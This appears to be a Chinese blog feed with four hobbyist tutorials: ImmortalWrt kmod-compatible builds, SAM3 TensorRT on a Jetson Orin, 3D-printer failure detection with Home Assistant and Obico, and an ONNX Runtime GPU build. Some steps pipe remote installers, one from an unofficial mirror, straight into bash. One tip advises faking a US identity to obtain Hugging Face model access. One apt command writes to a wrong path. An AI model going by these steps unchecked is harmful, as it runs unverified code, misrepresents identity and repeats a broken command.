&lt;p&gt;之前的文章简单介绍了如何编译以及添加自定义软件源编译 ImmortalWrt，但是面临一个问题即 kmod 尾缀与官方不同，导致不能使用官方源安装 kmod，即使用过程中安装其他需要 kmod 的软件包就需要重新编译，所以我们今天来解决这一痛点&lt;/p&gt;
&lt;h2&gt;准备环境&lt;/h2&gt;
&lt;p&gt;关于配环境可以参考之前的&lt;a href=&quot;/2025/09/11/cudy-tr3000-immortalwrt-guide/&quot;&gt;文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;拉取 ImmortalWrt 24.10.4&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone -b openwrt-24.10 https://github.com/immortalwrt/immortalwrt
cd immortalwrt
git checkout v24.10.4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们需要找到官方编译时的配置，浏览器进入以下网址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://downloads.immortalwrt.org/releases/24.10.4/targets/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到自己的设备，例如我的 Cudy tr3000 位于这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://downloads.immortalwrt.org/releases/24.10.4/targets/mediatek/filogic/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拉到最底下，就是我们需要的配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768099674-image-1024x569.png&quot; alt=&quot;准备环境 - ImmortalWrt 编译进阶：实现与官方源 kmod 的完美兼容 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们将它下载到编译目录下，并复制 (注意要找到适合自己的，不要直接复制我的)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://downloads.immortalwrt.org/releases/24.10.4/targets/mediatek/filogic/config.buildinfo
cp config.buildinfo .config
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;开始编译&lt;/h2&gt;
&lt;p&gt;然后操作流程与之前的教程类似&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./scripts/feeds update -a
./scripts/feeds install -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入菜单选择自己的设备以及软件包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make menuconfig
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make download
make -j64
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;检查对齐&lt;/h2&gt;
&lt;p&gt;检查文件 kernel 字段 ./immortalwrt/bin/targets/mediatek/filogic/immortalwrt-24.10.4-xxx.manifest&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768100172-image.png&quot; alt=&quot;检查对齐 - ImmortalWrt 编译进阶：实现与官方源 kmod 的完美兼容 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们再返回之前的页面进入 kmods 文件夹，对比二者一致就算成功了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768100375-image-1024x569.png&quot; alt=&quot;检查对齐 - ImmortalWrt 编译进阶：实现与官方源 kmod 的完美兼容 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768100434-image-1024x278.png&quot; alt=&quot;检查对齐 - ImmortalWrt 编译进阶：实现与官方源 kmod 的完美兼容 操作截图 3&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Jetson Orin TensorRT 量化推理 SAM3 示例教程</title><link>https://nvcc-v.com/2026/01/10/jetson-orin-tensorrt-sam3-tutorial/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/10/jetson-orin-tensorrt-sam3-tutorial/</guid><description>在 Jetson Orin 上部署 SAM3，完成模型转换、TensorRT 量化和推理验证，并记录常见环境问题。</description><pubDate>Sat, 10 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;本机配置&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Jetson Orin NX 16G&lt;/li&gt;
&lt;li&gt;Ubuntu 22.04&lt;/li&gt;
&lt;li&gt;Jetpack 6.2.1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基本要求：请确保你的 JetPack &amp;gt; 6，SWAP &amp;gt; 20G (很&lt;strong&gt;重要&lt;/strong&gt;，不然会 &lt;strong&gt;OOM&lt;/strong&gt;)&lt;/p&gt;
&lt;h2&gt;调整最佳性能模式&lt;/h2&gt;
&lt;p&gt;接下来的操作都需要较高的性能，所以我们通过 jtop 来调整释放最高性能&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo jtop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按下 6 键或直接点击 CTRL 进入控制面板&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768028418-image-1024x640.png&quot; alt=&quot;调整最佳性能模式 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将风扇配置调为 cool，Jetson Clocks 开启，能耗模式调整为 MAXN&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768028481-image-1024x640.png&quot; alt=&quot;调整最佳性能模式 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入以下命令暂时关闭桌面节省内存&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo init 3 # 3 改为 5 或重启恢复桌面
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;构建并运行容器环境&lt;/h2&gt;
&lt;p&gt;首先先拉取我的项目，然后构建基于 pytorch 的深度学习环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone -b modelscope https://github.com/Shattered217/SAM3-TensorRT.git
cd SAM3-TensorRT/
sudo docker build -t sam3-trt-aarch64 -f docker/Dockerfile.aarch64 .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 modelscope 拉取 SAM3 的模型（由于 meta 对 CN 用户不友好，所以如果要去 huggingface 申请仓库访问权限务必使用美国身份，最好主页也跟着改一下，不然大概率被拒&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install -y git-lfs # git 拉取大文件必备
git clone https://www.modelscope.cn/facebook/sam3.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行容器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo docker run -it --rm \
  --network=host \
  --gpus all \
  --ipc=host \
  --ulimit memlock=-1 \
  --ulimit stack=67108864 \
  --runtime=nvidia \
  --env HF_TOKEN \
  -v &quot;$PWD&quot;:/workspace \
  -w /workspace \
  sam3-trt-aarch64 bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;导出 ONNX&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python3 python/onnxexport.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意在导出的脚本中预定义了 prompt 为 “dog”，后期如需修改则要重新导出&lt;/p&gt;
&lt;h2&gt;trt 量化编译&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/usr/src/tensorrt/bin/trtexec --onnx=onnx_weights/sam3_static.onnx --saveEngine=sam3_fp16.plan --fp16 --verbose
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768030114-image-1024x640.png&quot; alt=&quot;trt 量化编译 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;出现 &lt;strong&gt;PASSED&lt;/strong&gt; 即测试通过，如果 FAILED 也没事，一般是内存不够导致测试失败了，只要 .plan 生成成功即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768030191-image-1024x678.png&quot; alt=&quot;trt 量化编译 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;编译并运行测试程序&lt;/h2&gt;
&lt;p&gt;编译&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir cpp/build &amp;amp;&amp;amp; cd cpp/build
cmake ..
make
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于我们预训练的提示词是 狗 ，所以我们需要准备狗的测试图片，第一个参数的测试集文件夹，第二参数是模型路径，导出图片位于 ./results&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@jetson-orin-nx:/workspace/cpp/build# ./sam3_pcs_app test/ ../../sam3_fp16.plan
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;效果展示&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768030771-image-1024x683.png&quot; alt=&quot;效果展示 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768030787-dog-1024x683.jpeg&quot; alt=&quot;效果展示 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768030838-n02091831_573.jpg&quot; alt=&quot;效果展示 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768030822-n02091831_573.jpg&quot; alt=&quot;效果展示 - Jetson Orin TensorRT 量化推理 SAM3 示例教程 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;特别感谢以下项目&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/dataplayer12/SAM3-TensorRT&quot;&gt;https://github.com/dataplayer12/SAM3-TensorRT&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>基于Jetson与HA的拓竹3D打印机炒面检测方案</title><link>https://nvcc-v.com/2026/01/01/jetson-ha-bambu-spaghetti-detection/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/01/jetson-ha-bambu-spaghetti-detection/</guid><description>通过 Jetson 部署 Obico 视觉检测服务，并结合 Home Assistant 实现拓竹 3D 打印异常监控、暂停和消息通知。</description><pubDate>Thu, 01 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;由于实验室闲置的板子较多，然后还有两台A1和一台P1S，就尝试在Jetson上端侧部署obico-server实现对炒面的视觉检测。&lt;/p&gt;
&lt;p&gt;实际本质就是替换onnxruntime-GPU来实现在Jetson上的高性能推理（实际纯拿CPU硬算也够）&lt;/p&gt;
&lt;h2&gt;安装配置 Home Assistant&lt;/h2&gt;
&lt;p&gt;安装HA的教程网上有很多了，可以选择适合自己的方式，例如HAOS，这边只是简单演示，故选择使用docker-compose来快速实现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767251853-image-1024x546.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先当然是安装docker-compose&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install docker-compose -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们新建一个文件夹用来放置compose文件和数据目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3&apos;
services:
  homeassistant:
    image: homeassistant/home-assistant:latest
    container_name: homeassistant
    restart: always
    volumes:
      - ./config:/config
    environment:
      - TZ=Asia/Shanghai
    ports:
      - &quot;8123:8123&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在目录下拉取并运行HA&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo docker-compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767252200-image.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;浏览器进入 IP:8123 ，根据向导页面简单配置一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767252587-image-1024x519.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们接下来需要安装 HACS 以通过 bambu lab 接入 3D打印机&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo docker exec -it homeassistant /bin/bash # 进入容器的命令交互

wget -O - https://get.hacs.vip | bash - # hacs一键安装脚本
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后Ctrl+D退出容器，再重启一下容器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo docker-compose restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入 设置 - 设备与服务 - 添加集成 - hacs&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767253093-image-1024x519.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就能看到侧边栏多了个 HACS ，进入并且搜索 bambu lab 安装，然后再重启一下HA&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767253209-image-1024x519.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重启完后再到添加集成里，搜索 bambu lab，根据向导添加打印机即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767253547-image-1024x519.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如图所示添加自定义仓库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767253905-image-1024x519.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;类型选择 集成，仓库填写&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/nberktumer/ha-bambu-lab-p1-spaghetti-detection
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后即可安装炒面检测配套的集成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767254007-image.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重启后记得再去集成里面添加一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767254092-image.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后一步是点击&lt;a href=&quot;https://my.home-assistant.io/redirect/blueprint_import/?blueprint_url=https://github.com/nberktumer/ha-bambu-lab-p1-spaghetti-detection/blob/main/blueprints/spaghetti_detection.yaml&quot;&gt;此链接&lt;/a&gt;添加自动化蓝图，来实现对3D打印机的自动监测与提醒&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767254236-image-1024x519.png&quot; alt=&quot;安装配置 Home Assistant - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击第一个蓝图即可进行配置，当然我们这边还没安装机器学习的服务端，所以暂时先不配置&lt;/p&gt;
&lt;h2&gt;安装 Obico_ML&lt;/h2&gt;
&lt;p&gt;上面都是前置的准备工作，这是检测炒面的关键服务，使用onnxruntime来推理视觉模型实现对炒面的检测&lt;/p&gt;
&lt;p&gt;在 x86 服务端上，我们只需通过 docker-compose 即可一键拉取运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;

services:
  ha_bambu_lab_p1_spaghetti_detection:
    image: nberk/ha_bambu_lab_p1_spaghetti_detection_standalone:latest
    container_name: ha_bambu_lab_p1_spaghetti_detection
    restart: unless-stopped
    environment:
      - ML_API_TOKEN=bambu_nb
      - TZ=Asia/Shanghai
    ports:
      - &quot;3333:3333&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;亦或是直接把两个compose文件合并&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3&apos;
services:
  homeassistant:
    image: homeassistant/home-assistant:latest
    container_name: homeassistant
    restart: always
    volumes:
      - ./config:/config
    environment:
      - TZ=Asia/Shanghai
    ports:
      - &quot;8123:8123&quot;

  ha_bambu_lab_p1_spaghetti_detection:
    image: nberk/ha_bambu_lab_p1_spaghetti_detection_standalone:latest
    container_name: ha_bambu_lab_p1_spaghetti_detection
    restart: unless-stopped
    environment:
      - ML_API_TOKEN=bambu_nb
      - TZ=Asia/Shanghai
    ports:
      - &quot;3333:3333&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果需要 NVIDIA GPU 加速，我们首先需要安装 NVIDIA Container Toolkit&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \
  &amp;amp;&amp;amp; curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \
    sed &apos;s#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g&apos; | \
    sudo tee /etc/list.d/nvidia-container-toolkit.list
sudo apt-get update
sudo apt-get install -y nvidia-container-toolkit
sudo nvidia-ctk runtime configure --runtime=docker
sudo systemctl restart docker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后修改 compose 文件，添加 deploy 如下所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ha_bambu_lab_p1_spaghetti_detection:
    image: nberk/ha_bambu_lab_p1_spaghetti_detection_standalone:latest
    container_name: ha_bambu_lab_p1_spaghetti_detection
    restart: unless-stopped
    environment:
      - ML_API_TOKEN=bambu_nb
      - TZ=Asia/Shanghai
    ports:
      - &quot;3333:3333&quot;
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: all
              capabilities: [gpu]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后重启docker，可以看到日志中已经成功启用了 CUDA&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo docker-compose up -d
sudo docker logs ha_bambu_lab_p1_spaghetti_detection
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767255612-image-1024x370.png&quot; alt=&quot;安装 ObicoL - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如需手动测试可以通过&lt;a href=&quot;https://github.com/Shattered217/spaghetti_detection/blob/main/test_obico_detection.py&quot;&gt;此脚本&lt;/a&gt;来测试（内嵌了一张炒面图片URL用于测试）&lt;/p&gt;
&lt;h2&gt;安装 Obico_ML For Jetson Orin&lt;/h2&gt;
&lt;p&gt;接下来是如何在边缘设备 Jetson Orin 系列上端侧部署，需要 Jetpack &amp;gt; 6，因为 Jetpack 5 可以使用&lt;a href=&quot;https://www.obico.io/docs/server-guides/platform-specific/jetson_guide/&quot;&gt;官方文档&lt;/a&gt;的方法，也很简单，但由于我手边暂时没有板子跑着5，所以就不测试了&lt;/p&gt;
&lt;p&gt;本机配置如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jetson Orin NX 16G&lt;/li&gt;
&lt;li&gt;Ubuntu 22.04&lt;/li&gt;
&lt;li&gt;Jetpack 6.2.1&lt;/li&gt;
&lt;li&gt;L4T 36.4.7&lt;/li&gt;
&lt;li&gt;CUDA 12.6.68&lt;/li&gt;
&lt;li&gt;cuDNN 9.3.0.75&lt;/li&gt;
&lt;li&gt;TensorRT 10.3.0.30&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;拉取项目并构建镜像&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/Shattered217/obico-server.git
cd obico-server/ml_api/
bash scripts/build_jetson.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建大概需要二十分钟（大部分都是拉取，与网速有关）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767259312-image-1024x640.png&quot; alt=&quot;安装 ObicoL For Jetson Orin - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后是测试启动容器！一次成功！（没问题可以Ctrl+C先停止）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash scripts/run_jetson.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767259409-image-1024x640.png&quot; alt=&quot;安装 ObicoL For Jetson Orin - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以编写一个 compose 文件来方便管理这个容器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;

services:
  ml-api:
    image: obico-ml-api:jetson
    container_name: obico_ml_api
    runtime: nvidia
    ports:
      - &quot;3333:3333&quot;
    environment:
      - ML_API_TOKEN=bambu_nb
    restart: unless-stopped
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置自动化&lt;/h2&gt;
&lt;p&gt;接下来我们回到HA，进入 设置 - 自动化与场景 - 蓝图，选择之前导入的 Bambu 蓝图进行配置&lt;/p&gt;
&lt;p&gt;跟着提示按实际填写即可&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Home Assistant Host HA的地址&lt;/li&gt;
&lt;li&gt;Obico ML API Host 刚刚配置的Obico ML的地址&lt;/li&gt;
&lt;li&gt;Obico ML API Auth Token docker中配置的认证密钥 token&lt;/li&gt;
&lt;li&gt;Printer Print Status Sensor 打印状态&lt;/li&gt;
&lt;li&gt;Printer Current Stage Sensor 当前阶段&lt;/li&gt;
&lt;li&gt;Printer Camera Entity 摄像头&lt;/li&gt;
&lt;li&gt;Printer Pause Button Entity 暂停按钮&lt;/li&gt;
&lt;li&gt;Printer Resume Button Entity 恢复按钮&lt;/li&gt;
&lt;li&gt;Printer Stop Button Entity 停止按钮&lt;/li&gt;
&lt;li&gt;Printer Chamber Light 机箱灯&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767260093-image-750x1024.png&quot; alt=&quot;配置自动化 - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;TG 推送蓝图&lt;/h2&gt;
&lt;p&gt;上面的蓝图是通过HA官方APP来推送通知，我这边魔改了一个通过TG推送通知并控制的蓝图，通过&lt;a href=&quot;https://my.home-assistant.io/redirect/blueprint_import/?blueprint_url=https://github.com/Shattered217/spaghetti_detection/raw/refs/heads/main/spaghetti_detection.yaml&quot;&gt;此链接&lt;/a&gt;导入，区别是需要能通过公网来访问HA，其实上面的也需要，不然你在外面岂不是收不到消息了（&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767260462-image-721x1024.png&quot; alt=&quot;TG 推送蓝图 - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置流程多了一个需要去集成中添加 Telegram Bot，注意一定要选择“投票”，即轮询，这样才能接收到用户发送的指令，添加完后在蓝图中就可以选择了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1767260540-image.png&quot; alt=&quot;TG 推送蓝图 - 基于Jetson与HA的拓竹3D打印机炒面检测方案 操作截图 2&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Jetson Orin Nano编译ONNX Runtime GPU</title><link>https://nvcc-v.com/2025/11/03/jetson-orin-onnx-gpu/</link><guid isPermaLink="true">https://nvcc-v.com/2025/11/03/jetson-orin-onnx-gpu/</guid><description>在 Jetson Orin Nano 上从源码构建支持 CUDA 的 ONNX Runtime，并用于运行 Immich 深度学习模块。</description><pubDate>Mon, 03 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/Shattered217/Jetson-Orin-Nano-Wheels?tab=readme-ov-file#%EF%B8%8F-system-requirements&quot;&gt;本机实验配置&lt;/a&gt; (Release中有编译好的whl)&lt;/p&gt;
&lt;h2&gt;编译环境准备&lt;/h2&gt;
&lt;p&gt;最新版ONNX需要 CMake &amp;gt; 3.28, GCC 11&lt;/p&gt;
&lt;p&gt;升级 CMake&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt purge cmake -y
sudo apt install -y apt-transport-https ca-certificates gnupg software-properties-common wget
wget -O - https://apt.kitware.com/keys/kitware-archive-latest.asc 2&amp;gt;/dev/null | \
  gpg --dearmor - | sudo tee /usr/share/keyrings/kitware-archive-keyring.gpg &amp;gt;/dev/null
echo &apos;deb [signed-by=/usr/share/keyrings/kitware-archive-keyring.gpg] https://apt.kitware.com/ubuntu/ jammy main&apos; | \
  sudo tee /etc/apt/sources.list.d/kitware.list &amp;gt;/dev/null
sudo apt update
sudo apt install -y cmake
cmake --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/11/1762158110-image.webp&quot; alt=&quot;编译环境准备 - Jetson Orin Nano编译ONNX Runtime GPU 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;升级 GCC 到 11&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install -y gcc-11 g++-11
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-10 100
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-11 110
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-10 100
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-11 110
gcc --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/11/1762158124-image.webp&quot; alt=&quot;编译环境准备 - Jetson Orin Nano编译ONNX Runtime GPU 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;编译ONNX&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone --recursive https://github.com/microsoft/onnxruntime
cd onnxruntime
./build.sh --config Release \
  --update --build --parallel --build_wheel \
  --use_tensorrt --use_cuda \
  --cuda_home /usr/local/cuda \
  --cudnn_home /usr/lib/aarch64-linux-gnu \
  --tensorrt_home /usr/lib/aarch64-linux-gnu \
  --cmake_extra_defines CMAKE_CUDA_ARCHITECTURES=87
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译到90%+会失败，不用担心，只是测试失败了，删除测试就好了（&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rm -f onnxruntime/test/providers/cpu/nn/conv_fp16_test.cc
cmake --build build/Linux/Release --config Release -j$(nproc)
./build.sh --config Release \
  --update --build --parallel --build_wheel --skip_tests \
  --use_tensorrt --use_cuda \
  --cuda_home /usr/local/cuda \
  --cudnn_home /usr/lib/aarch64-linux-gnu \
  --tensorrt_home /usr/lib/aarch64-linux-gnu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/11/1762173021-image.webp&quot; alt=&quot;编译ONNX - Jetson Orin Nano编译ONNX Runtime GPU 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;安装并测试ONNXruntime-GPU&lt;/h2&gt;
&lt;p&gt;我这里使用的是UV管理环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv pip install ~/onnxruntime/build/Linux/Release/dist/onnxruntime_gpu-*

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/11/1762173310-image.webp&quot; alt=&quot;安装并测试ONNXruntime-GPU - Jetson Orin Nano编译ONNX Runtime GPU 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;测试代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 - &amp;lt;&amp;lt;&apos;EOF&apos;
import onnxruntime as ort
print(&quot;ONNX Runtime:&quot;, ort.__version__)
print(&quot;Available providers:&quot;, ort.get_available_providers())
print(&quot;Default device:&quot;, ort.get_device())
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恭喜 TensorRT 和 CUDA 都已启用加速（在Jetson平台上这条 W：警告⚠️可以忽略）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/11/1762173484-image.webp&quot; alt=&quot;安装并测试ONNXruntime-GPU - Jetson Orin Nano编译ONNX Runtime GPU 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;推理immich-machine-learning&lt;/h2&gt;
&lt;p&gt;安装UV&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LsSf https://astral.sh/uv/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
